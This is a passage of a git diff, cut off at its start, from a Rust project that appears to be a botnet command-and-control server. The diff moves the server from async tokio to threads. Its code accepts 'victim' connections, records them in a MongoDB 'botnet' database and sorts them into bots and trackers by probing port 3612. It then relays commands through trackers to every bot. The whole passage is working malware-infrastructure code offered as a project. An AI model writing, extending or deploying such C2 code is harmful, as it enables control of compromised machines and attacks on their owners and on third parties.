loop { - let (mut stream, addr) = listener.accept().await.unwrap(); + let (mut stream, addr) = listener.accept().unwrap(); info!("Connection established"); - let client = client.clone(); - let tx = tx.clone(); - tokio::spawn(async move { + let client = db_client.clone(); + let rx2 = rx.clone(); + thread::spawn(move || { let victims_collection = client.database("botnet").collection::("victims"); - let victim = victim::check_connection(&mut stream, &addr).await; + let victim = victim::check_connection(&mut stream, &addr); if let Some(mut victim) = victim { - insert_victim_db(&victim, &addr, &victims_collection).await; - let receiver = tx.subscribe(); - manage_victim(&mut victim, &mut stream, &victims_collection, receiver).await; + insert_victim_db(&victim, &addr, &victims_collection); + manage_victim(&mut victim, &mut stream, &victims_collection, rx2); info!("The victim: {} disconnected", &victim.ip.ip()); } else { info!("{} tried to establish a connection but failed the test", addr.ip().to_string()); @@ -54,26 +65,27 @@ async fn main() { } } -async fn manage_victim(victim: &mut Victim, mut stream: &mut TcpStream, victims_collection: &Collection, receiver: Receiver) { - victim.victim_type = VictimType::Bot; +/// Connects a victim to the server and let it know what type it is +fn manage_victim(victim: &mut Victim, stream: &mut TcpStream, victims_collection: &Collection, receiver: Receiver<&str>) { match victim.victim_type { VictimType::Bot => { - if let Err(err) = bot::manage_bot(&victim, &mut stream, &victims_collection).await { + if let Err(err) = bot::manage_bot(&victim, stream, victims_collection) { error!("Error while communicating with the bot: {}", err); } }, VictimType::Tracker => { - if let Err(err) = tracker::manage_tracker(&victim, stream, receiver).await { + if let Err(err) = tracker::manage_tracker(&victim, stream, receiver) { error!("Error while communicating with the tracker: {}", err); } } } - victim.update_status(&victims_collection, false).await.ok(); + victim.update_status(victims_collection, false).ok(); } -async fn insert_victim_db(victim: &Victim, addr: &SocketAddr, victims_collection: &Collection) { +/// Inserts a victim into the database, if the victim is already known update its status to active +fn insert_victim_db(victim: &Victim, addr: &SocketAddr, victims_collection: &Collection) { let filter = doc! { "ip": addr.ip().to_string() }; - let find_victim = victims_collection.find_one(filter, None).await; + let find_victim = victims_collection.find_one(filter, None); if let Err(err) = find_victim { error!("Error while trying to find a victim on the collection: {}", err); @@ -81,7 +93,7 @@ async fn insert_victim_db(victim: &Victim, addr: &SocketAddr, victims_collection } let find_victim = find_victim.unwrap(); if find_victim.is_none() { - if let Err(err) = victims_collection.insert_one(VictimDb { ip: addr.ip().to_string(), victim_type: victim.victim_type, active: false }, None).await { + if let Err(err) = victims_collection.insert_one(VictimDb { ip: addr.ip().to_string(), victim_type: victim.victim_type, active: false }, None) { error!("Failed to insert in the database : {}", err); } else { info!("A new victim has been inserted in the database, ip: {}, mode: {}", addr.ip().to_string(), victim.victim_type); @@ -89,7 +101,8 @@ async fn insert_victim_db(victim: &Victim, addr: &SocketAddr, victims_collection } else { info!("An old victim connected to the server, ip: {} mode: {}", addr.ip().to_string(), victim.victim_type); } - if let Err(err) = victim.update_status(&victims_collection, true).await { + if let Err(err) = victim.update_status(&victims_collection, true) { error!("Failed to update victim's active status to true: {}", err); } } + diff --git a/server/src/tracker.rs b/server/src/tracker.rs index ec2f94a..891b637 100644 --- a/server/src/tracker.rs +++ b/server/src/tracker.rs @@ -1,10 +1,12 @@ -use tokio::sync::broadcast::Receiver; -use tokio::{net::TcpStream, io::{BufReader, AsyncWriteExt, AsyncReadExt}}; +use std::io::{BufReader, Read, Write}; +use std::net::TcpStream; + +use crossbeam_channel::Receiver; use crate::Victim; -pub async fn is_victim_listening(victim: &Victim) -> bool { - let mut stream = match TcpStream::connect(victim.ip.ip().to_string() + ":3612").await { +pub fn is_victim_listening(victim: &Victim) -> bool { + let mut stream = match TcpStream::connect(victim.ip.ip().to_string() + ":3612") { Ok(stream) => stream, Err(_) => { error!("Failed to connect to {}'s server", victim.ip); @@ -12,12 +14,12 @@ pub async fn is_victim_listening(victim: &Victim) -> bool { } }; - if stream.write_all(&[1]).await.is_err() { + if stream.write_all(&[1]).is_err() { return false; } let mut buf_reader = BufReader::new(&mut stream); let mut buffer: [u8; 1] = [0]; - if let Err(err) = buf_reader.read_exact(&mut buffer).await { + if let Err(err) = buf_reader.read_exact(&mut buffer) { error!("Failed to read from {}'s server: {}", victim.ip, err); return false; } @@ -28,23 +30,13 @@ pub async fn is_victim_listening(victim: &Victim) -> bool { true } -pub async fn manage_tracker(_victim: &Victim, stream: &mut TcpStream, mut receiver: Receiver) -> Result<(), Box> { - stream.write_all(b"tracker\0").await?; +/// Forwards messages sent to the channel to the tracker that will send it to all bots +pub fn manage_tracker(_victim: &Victim, stream: &mut TcpStream, receiver: Receiver<&str>) -> Result<(), Box> { + stream.write_all(b"tracker\0")?; + debug!("Managing tracker"); loop { - let message = receiver.recv().await?; - stream.write_all(message.as_bytes()).await?; - /* let mut buf_reader = BufReader::new(&mut stream); - let mut request: Vec = Vec::new(); - buf_reader - .read_until(0, &mut request).await?; - - let request = std::str::from_utf8(&request)?; */ - // let content = request.split_once('\n'); - - // mean it should propagate the request to all trackers - /* if let Some((first, rest)) = content { - if first == "PROP" { */ - /* } - } */ + let message = receiver.recv().unwrap(); + debug!("Sending message {}", message); + stream.write_all(message.as_bytes())?; } } diff --git a/server/src/victim.rs b/server/src/victim.rs index 709bfa8..6ac9757 100644 --- a/server/src/victim.rs +++ b/server/src/victim.rs @@ -1,9 +1,11 @@ use std::{fmt::Display, net::SocketAddr}; +use std::io::{BufRead, BufReader, Write}; +use std::net::TcpStream; -use serde::{Serialize, Deserialize}; -use tokio::{io::{BufReader, AsyncBufReadExt, AsyncWriteExt}, net::TcpStream}; -use mongodb::Collection; use mongodb::bson::doc; +use mongodb::sync::Collection; + +use serde::{Deserialize, Serialize}; use crate::tracker::is_victim_listening; @@ -30,10 +32,10 @@ pub struct Victim { } impl Victim { - pub async fn update_status(&self, victims_collection: &Collection, status: bool) -> Result<(), Box> { + pub fn update_status(&self, victims_collection: &Collection, status: bool) -> Result<(), Box> { let filter = doc! { "ip": self.ip.to_string() }; - let update = doc! { "active": status }; - victims_collection.update_one(filter, update, None).await?; + let update = doc! { "$set": { "active": status }}; + victims_collection.update_one(filter, update, None)?; Ok(()) } @@ -46,11 +48,11 @@ pub struct VictimDb { pub active: bool } -pub async fn check_connection(mut stream: &mut TcpStream, current_ip: &SocketAddr) -> Option { +pub fn check_connection(mut stream: &mut TcpStream, current_ip: &SocketAddr) -> Option { let mut buf_reader = BufReader::new(&mut stream); let mut http_request: Vec = Vec::new(); buf_reader - .read_until(0, &mut http_request).await.unwrap(); + .read_until(0, &mut http_request).unwrap(); let http_request = std::str::from_utf8(&http_request).unwrap(); debug!("Request bytes: {:?}", http_request.as_bytes()); @@ -58,7 +60,7 @@ pub async fn check_connection(mut stream: &mut TcpStream, current_ip: &SocketAdd error!("Someone connected without sending 'bot'"); return None; }; - if stream.write_all("active\0".as_bytes()).await.is_err() { + if stream.write_all("active\0".as_bytes()).is_err() { return None; } debug!("ip: {}", current_ip); @@ -67,13 +69,15 @@ pub async fn check_connection(mut stream: &mut TcpStream, current_ip: &SocketAdd let mut buf_reader = BufReader::new(stream); let mut buffer = Vec::new(); - buf_reader.read_until(0, &mut buffer).await.unwrap(); + buf_reader.read_until(0, &mut buffer).unwrap(); let buffer = std::str::from_utf8(&buffer).unwrap(); if buffer != "ready\0" { error!("The client's server responded '{}' instead of 'ready'", buffer); return None; } - if is_victim_listening(&victim).await { + + // The victim only listens if it wants to be a tracker + if is_victim_listening(&victim) { info!("The victim: {} is listening and will become a tracker", victim.ip); victim.victim_type = VictimType::Tracker; }